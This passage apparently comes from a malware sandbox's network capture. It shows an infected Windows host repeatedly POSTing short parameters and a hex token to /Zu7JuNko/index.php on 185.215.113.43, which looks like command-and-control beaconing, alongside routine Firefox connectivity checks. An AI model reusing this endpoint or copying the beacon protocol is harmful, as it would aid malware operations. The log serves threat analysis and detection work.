r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:18:01.073986053 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:18:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	50371	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:18:02.827212095 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:18:04.238823891 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:18:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	50373	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:18:05.865308046 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:18:07.471924067 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:18:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	50374	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:18:09.225742102 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:18:10.565076113 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:18:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	50375	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:18:12.202821970 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:18:13.602858067 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:18:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	50377	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:18:15.345915079 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	50378	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:18:17.899702072 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:18:19.392019987 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:18:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	50379	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:18:21.138360023 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:18:22.571440935 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:18:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	50380	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:18:24.197299004 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:18:25.579478025 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:18:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	50382	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:18:27.320367098 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:18:28.745134115 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:18:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	50383	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:18:30.630074024 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:18:31.993721008 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:18:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	50385	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:18:33.734743118 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:18:35.147921085 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:18:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	50386	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:18:36.775388002 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:18:38.230326891 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:18:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	50389	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:18:39.974255085 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:18:41.398864031 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:18:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	50390	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:18:40.509696960 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 22, 2024 04:18:41.644048929 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 21 Nov 2024 08:22:36 GMT Age: 68165 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 22, 2024 04:18:51.702583075 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 22, 2024 04:19:01.902482033 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 22, 2024 04:19:12.091975927 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 22, 2024 04:19:22.301991940 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 22, 2024 04:19:25.531429052 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 22, 2024 04:19:25.856008053 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 21 Nov 2024 08:22:36 GMT Age: 68209 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 22, 2024 04:19:35.904465914 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 22, 2024 04:19:46.086291075 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 22, 2024 04:19:56.291615963 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 22, 2024 04:20:06.499248028 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 22, 2024 04:20:16.699834108 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	50391	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:18:41.767014980 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 22, 2024 04:18:42.962419033 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 21 Nov 2024 07:17:54 GMT Age: 72048 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 22, 2024 04:18:52.969466925 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 22, 2024 04:19:03.169188976 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 22, 2024 04:19:13.363502979 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 22, 2024 04:19:23.570585012 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 22, 2024 04:19:25.858849049 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 22, 2024 04:19:26.182848930 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 21 Nov 2024 07:17:54 GMT Age: 72092 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 22, 2024 04:19:36.266944885 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 22, 2024 04:19:46.468875885 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 22, 2024 04:19:56.671895027 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 22, 2024 04:20:06.861085892 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 22, 2024 04:20:17.061997890 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	50392	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:18:43.032109022 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:18:44.447509050 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:18:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	50394	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:18:46.191148043 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:18:47.549105883 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:18:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	50395	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:18:49.189006090 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:18:50.591144085 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:18:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	50396	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:18:52.328496933 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:18:53.715533972 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:18:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	50398	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:18:55.346858025 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:18:56.750082016 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:18:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	50399	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:18:58.484395981 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:18:59.870906115 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:18:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	50401	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:19:01.502588034 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:19:02.838505030 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:19:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	50403	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
